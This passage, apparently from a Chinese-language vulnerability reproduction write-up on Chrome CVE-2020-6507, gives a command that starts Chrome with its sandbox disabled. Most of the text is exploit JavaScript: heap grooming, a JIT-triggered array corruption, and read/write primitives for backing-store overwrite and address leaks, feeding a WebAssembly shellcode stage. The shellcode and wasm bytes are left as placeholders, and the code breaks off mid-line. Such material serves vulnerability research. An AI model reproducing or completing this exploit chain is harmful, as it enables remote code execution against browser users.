二、CVE-2020-6507 复现环境:
Win10 + Google Chrome 86.0.4240.75
三、CVE-2020-6507 利用复现:
关闭沙箱安全使用命令进行关闭 ,在正常情况下,浏览器沙箱提供了一个受限制的执行环境,以防止恶意代码对用户系统的损害。关闭沙箱可能会导致浏览器执行环境的变化,使其更容易受到攻击。这在某些情况下可能有助于进行特定类型的漏洞研究和安全测试。
“C:\Program Files\Google\Chrome\Application\chrome.exe” -no-sandbox
四、EXP核心分析:
// 漏洞利用的HTML代码
<script>
// 触发垃圾回收以促使后续的内存布局
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
// Shellcode,实际上是一个汇编代码的字节序列
let shellcode = [...]; // 替换为实际的 shellcode
// WebAssembly 模块的字节码数据
var wasmCode = new Uint8Array([ /\* WebAssembly 模块的字节码数据 \*/ ]);
// 创建 WebAssembly 模块和实例
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
// ArrayBuffer 和 DataView 用于进行内存操作
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
// 获取浮点数的低32位
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
// 获取浮点数的高32位
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
// 合成一个双精度浮点数
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
// 将浮点数转换为大端序的64位无符号整数
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
// 将大端序的64位无符号整数转换为浮点数
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
// 定义一个 ArrayBuffer 的子类,用于进行内存操作
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;
}
}
// 在调用 foo 之前进行多次操作,包括触发垃圾回收
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local\_arr = Array(2);
local\_arr[0] = 5.1;
let buff = new LeakArrayBuffer(0x1000);
arr[0] = 0x1122;
return [arr, local\_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
// 调用 foo,获取相关数组和内存对象
[corrput\_arr, rwarr, corrupt\_buff] = foo(true);
// 利用漏洞进行内存操作
corrput\_arr[12] = 0x22444;
delete corrput\_arr;
// 对内存进行操作,获取相关信息
function setbackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi);
rwarr[5] = i2f(low, fHi(rwarr[5]));
}
function leakObjLow(o) {
corrupt\_buff.slot = o;
return (fLow(rwarr[9]) - 1);
}
let corrupt\_view = new DataView(corrupt\_buff);
let corrupt\_bu